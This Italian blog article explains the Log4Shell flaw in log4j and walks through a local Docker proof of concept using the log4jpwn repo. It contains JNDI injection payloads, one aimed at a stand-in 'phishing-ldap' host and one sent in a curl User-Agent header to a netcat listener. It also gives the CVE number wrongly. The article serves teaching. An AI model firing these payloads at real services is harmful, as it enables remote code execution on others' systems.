Categories: ⚔️, Hacking9.7 min read

Log4Shell

Siamo infine giunti allo spin-off conclusivo della serie che ci ha accompagnati nei meandri dell’Hacking, prendendo spunto dal manifesto/libro The Fallen Dreams. Per l’ultima volta, eccoci vestire il ruolo di uno degli avversari del protagonista…

Esiste un principio nella fisica quantistica che descrive lo stato di un sistema e la sua variabilità a seconda dell’osservatore: ciò che vediamo esiste in vari stati, ma noi percepiamo solo quello che stiamo osservando. Proprio come il famoso gatto di Schroedinger poteva essere vivo o morto a seconda che la scatola in cui era contenuto fosse chiusa o aperta, allo stesso modo, ciò che definiamo “realtà” varia sempre a seconda di chi la osserva, di chi la vive. Questo ci fa riflettere su due aspetti (in realtà molti di più): il primo è la necessità di una scelta; il secondo è la relatività di cui tutto si compone. Se osserviamo una banale libreria OpenSource ci sarà chi la vedrà come un ottimo strumento per funzionalità di logging, e chi invece scorgerà una vulnerabilità con uno SCORE CVSS 10/10, che permette l’esecuzione remota di codice arbitrario, chiamata log4shell.

Ma procediamo come al solito step-by-step.

Che cos’è log4j

[ torna al menu ]

Si tratta di una libreria molto popolare, scritta da Ceki Gülcü nel 2001, utilizzata per le interazioni con i messaggi del codice Java. È difatti possibile registrare log, messaggi d’errore e di debug del codice, scrivendoli su uno o più file per poi consultarli, gestirli o fare troubleshooting successivamente.

Difatti, una qualunque applicazione scritta in linguaggio Java ha necessità di registrare i propri log. La quantità di log registrati è direttamente proporzionale al crescere della complessità dell’applicazione. Log4j è uno dei tool utilizzati per espletare questo lavoro di gestione.

Quanto è esteso l’utilizzo di log4j?

Il banner durante l’installazione di Java è emblematico: “#1 Development Platform”. Ed ancora: “3 Billion Devices Run Java”. Vale a dire che qualsiasi applicazione Java che utilizzi log4j è potenzialmente vulnerabile.

Qualcuno sicuramente starà dicendo: “non uso log4j…non mi riguarda”. Ma il passaggio non è così immediato. Anche se un’applicazione non utilizza direttamente log4j, un’altra libreria potrebbe farne uso per registrare i propri log. Considerando la popolarità di questa libreria, potremmo assumere che mediamente qualsiasi applicazione Java che registra i propri log, ne faccia uso.

Nei progetti analizzati, è stato stimato che la libreria log4j venga così utilizzata:

Che cos’è log4shell

[ torna al menu ]

Con un “Common Vulnerability Scoring System” (CVSS) di 10/10, la vulnerabilità permette l’esecuzione di un codice remoto (RCE) sulla macchina vittima: l’attaccante che sfrutta con successo questa vulnerabilità, sull’applicazione Java, può eseguire codice arbitrario sulla macchina (server, client o device) vittima. Da qui il nome log4Shell a.k.a. CVE-2021-4428: il successo dello sfruttamento della vulnerabilità, garantisce una “Shell” di comandi sulla macchina.

Addentriamoci adesso negli aspetti tecnici della vulnerabilità e accingiamoci a comprenderne il suo funzionamento.

Le vulnerabilità sfruttabili in questa libreria risiedono nella combinazione di diversi fattori/caratteristiche di Log4j:

1. Log Expressions

Log4j ci permette di loggare espressioni. Analizziamo ad esempio le seguenti linee di codice, immagazzinate dal log, scrivendo il log del dato “Messaggio d’errore”:

final Logger logger = LogManager.getLogger(…);

logger.error(“Messaggio d’errore: {}”, error.getMessage());

(“Messaggio d’errore; {}”, error.getMessage()); : ciò che facciamo con questo codice è andare a “loggare” l’oggetto error.getMessage fra le parentesi graffe della stringa: “Messaggio d’errore; {}”.

In altre parole, ciò che fa log4j è inviare l’errore che abbiamo ricevuto fra le parentesi graffe della stringa di testo. Il nostro output sarà quindi: Messaggio d’errore: [l’errore contenuto nell’oggetto error.getMessage].

Un ulteriore esempio può essere il seguente: la stringa immagazzina nel log il nome dell’utente get(“Name”) con il relativo id getId() utilizzato per effettuare l’accesso.

logger.info(“L’utente {} ha effettuato l’accesso con l’id {}, map.get(“Name”), user.getId());

2. Java Naming and Directory Interface (JNDI)

È un API Java che permette di scrivere/immagazzinare un dato oggetto Java ad un dato percorso (una “remote location”) in modo consecutivo, “serializzandolo”.

Un esempio può essere il seguente active directory link (LDAP URL):

ldap://10.10.10.10:5555/O=HackerJournal, C=IT

  • ldap:// : invochiamo l’LDAP schema, il nome del comando
  • 10.10.10 : l’ip del server a cui stiamo puntando
  • :5555 : la porta del server a cui stiamo puntando
  • /O=HackerJournal, C=IT : profile object a cui stiamo puntando

3. JNDI lookups messages

La terza Features che analizzeremo fu introdotta in log4j nel 2013 e permette di eseguire un JNDI lookpus su una determinata tipologia di stringhe (una ricerca di un dato carattere) ed inserirla nel messaggio d’errore. Prendiamo ad esempio il seguente codice:

logger.error(“Messaggio d’errore: {}”, “Log4j HackerJournal”);

Molto intuitivamente viene scritto all’interno del log la stringa Log4j HackerJournal

E se invece la stringa che noi passiamo è un argomento con una sintassi speciale, ad esempio con il carattere “dollaro”?

logger.error(“Cerca ed inserisci il valore: {}”, “${jndi:ldap://…}”);

Il carattere $ rappresenta una “sintassi speciale di Lookup”, che andrà inserito fra le parentesi graffe.

Nel medesimo modo una variabile di sistema, potrà anch’essa essere inserita fra le parentesi graffe e scritta nel nostro flusso di log:

logger.error(“Cerca ed inserisci il valore: {}”, “${env:ENV_VALUE}”);

Proprio quest’ultima caratteristica di log4j rappresenta la nostra vulnerabilità.
Ma facciamo un esempio concreto.

Tre caratteristiche – Log Injection

[ torna al menu ]

Ipotizziamo di poter inserire diversi valori in una pagina (un form) di ricerca. Questi valori verranno successivamente passati all’applicazione Java in Background, che si occuperà di eseguire la ricerca e di loggare anche i valori ricercati dall’utente.

Quindi nella nostra app avremo il seguente codice, che memorizzerà ciò che l’utente ha inserito per effettuare la ricerca searchTextInput all’interno dei log.

final Logger logger = LogManager.getLogger(…);

logger.error(“Pagina ricercata: {}”, searchTextInput());

Ora però, ipotizziamo che il nostro utente sia l’Attaccante e che invece di inserire nel form di ricerca una parola o una frase, immetta il seguente valore (un JNDI URL): ${jndi:ldap://phishing-ldap/evilobject”}

Quando nel nostro sistema di log arriverà in input come searchTextInput un JNDI URL, il sistema tenterà di risolverlo automaticamente eseguendo una JNDI Call e puntando quindi all’indirizzo di dominio //phishing-ldap/. All’attaccante sarà sufficiente inserire nel server malevolo il codice che desidera eseguire come “object” e l’applicazione vittima (sia esso un popolare e-commerce o un social media) lo eseguirà immediatamente.

Adesso che abbiamo compreso il funzionamento di log4Shell, facciamo un po’ di pratica.

La tecnica d’attacco definita come LogInjection a.k.a. Log Forgery, non è nata di certo con la vulnerabilità Log4Shell, anzi è alla base di molteplici attacchi. Si tratta di una vulnerabilità in cui l’input non attendibile, immesso in una data applicazione, può compromettere l’integrità dei file di registro dell’applicazione o del sistema stesso. È stata utilizzata (ed in parte viene usata ancora adesso) per ingannare i sistemi di monitoraggio e Security Information and Event Manager (SIEM).

Vulnerability Log4Shell Proof of Concept(PoC):

[ torna al menu ]

Per effettuare il nostro test utilizzeremo il seguente log4j exploit, scaricabile al seguente indirizzo: https://github.com/leonjza/log4jpwn

Come prima cosa, avviamo la nostra Kali Linux ed apriamo un terminale di comando.

Cloniamo il repository utilizzando il comando:
git clone https://github.com/leonjza/log4jpwn

Sposiamoci all’interno della cartella log4jpwn utilizzando il comando cd.

Ora effettueremo il nostro PoC all’interno di un docker container. Un container docker ci permette di eseguire processi e applicazioni in maniera isolata utilizzando il kernel di Linux.

Come prima cosa, abbiamo bisogno di installare Docker su Kali Linux. Dopo aver aggiornato il nostro repository con il comando apt-update, digitiamo sudo apt install -y docker.io ed infine sudo systemctl enable docker –now .

A questo punto, non rimane che aggiungere il nostro utente al gruppo “docker“:
sudo usermod -aG docker $USER

Eseguiamo il comando docker –version per verificare la versione installata.

Una volta terminata l’installazione di Docker possiamo procedere con l’installazione del nostro container, digitando il comando:
docker build -t log4jpwn .

L’installazione del container potrebbe impiegare qualche minuto.

Avviamo adesso il nostro container utilizzando il comando:
docker run –rm -p9999:8080 log4jpwn

  • docker : invoca docker
  • run : avvia il container
  • –rm : rimuovi i volumi associati al conteiner
  • -p9999:8080 : specifichiamo la porta
  • log4jpwn : il nome del container che desideriamo eseguire

Prima di lanciare il prossimo comando verifichiamo l’IP della nostra docker. Apriamo un nuovo terminale e digitiamo:
ip a s docker0

  • ip: il comando ip può essere usato per mostrare o manipolare routing, devices o tunnel
  • a: mostra tutto (all)
  • s: mostra “statistiche”
  • docker0 : il nome del device, in questo caso il nostro docker, di cui vogliamo visualizzare l’indirizzo IP

Nel mio caso (e probabilmente anche nel vostro) sarà: 172.17.0.1
Non chiudiamo il terminale (per comodità) e sempre sullo stesso in cui abbiamo verificato l’IP, mettiamoci in ascolto digitando: nc -lnvp 8888

  • nc : invochiamo netcat
  • -l : mettiamoci in ascolto localmente
  • n : no DNS o hostname
  • v : in modalità verbose
  • p : specifichiamo la porta
  • 8888 : porta su cui ci stiamo mettendo in ascolto

A questo punto, non ci resta che lanciare il comando malevolo.
Apriamo un nuovo terminale e digitiamo il comando:

curl -H ‘User-Agent: ${jndi:ldap://172.17.0.1:8888/a}’ localhost:9999

  • curl: Curl è un tool (che utilizza le librerie libcurl) a linea di comando, per prelevare o inviare dati (inclusi file) utilizzando la sintassi Uniform Resource Locator (URL).
  • -H : opzione necessaria per specificare l’Header
  • ‘User-Agent: ${jndi:ldap://172.17.0.1:8888/a}’ localhost:9999
    • ldap://172.17.0.1:8888: simula il server malevolo controllato dall’attaccante. L’indirizzo IP ldap sarà l’IP del nostro docker container che abbiamo visto essere 172.17.0.1 . Abbiamo così avviato il netcat in ascolto sulla porta 8888 .
    • localhost:9999 : è il nostro servizio vulnerabile in ascolto sulla porta 9999

Appena avremo dato invio, riceveremo la nostra connessione su netcat!

Log4Shell StoryLine:

I primi Fix per questa vulnerabilità sono stati rilasciati il 6 Dicembre 2021. Log4j versione 2.15-rc1, restringeva la lista dei server e dei protocolli che potevano essere usati per il lookup.

Successivamente sono stati scoperti altri bug CVE-2021-45046 , fixati nella versione 2.16.0 disabilitando tutte le fetures di JNDI e message lookup.

Tuttavia, altre due vulnerabilità hanno messo in evidenza la possibilità di denial-of-service CVE-2021-45105 fixata nella versione 2.17.0 ed un’altra RCE fixata a sua volta nella versione 2.17.1 CVE-2021-44832.

Vorrei concludere questo capitolo con una riflessione di Koushik Kothagal (Java Brains): i media in generale stanno parlando molto di questa vulnerabilità (come è giusto che sia). Tuttavia, è necessario riflettere su un particolare. La Feature che espone log4j all’exploitation fu introdotta nel 2013 ed è venuta alla luce solamente nel 2021. In generale, questi tipi di vulnerabilità sono già avvenuti in precedenza (ad esempio Heartbleed) ed il denominatore comune è sempre lo stesso: molte company utilizzano gratuitamente Software OpenSource per fini economici. Molteplici aziende trovano software Open Source già pronti e ci costruiscono attorno il loro Business Model per fare soldi e questo succede spesso anche con aziende di Cyber Security. Forse è giunto il momento in cui società e aziende che fanno soldi e fondano modelli di Business su software free (che la comunità mette a disposizione) si attengano ad un modello etico per cui quando investono sul software (compresa la Cyber Security) si impegnino a riconoscere alla comunità la sua dovuta importanza.”

Go to Top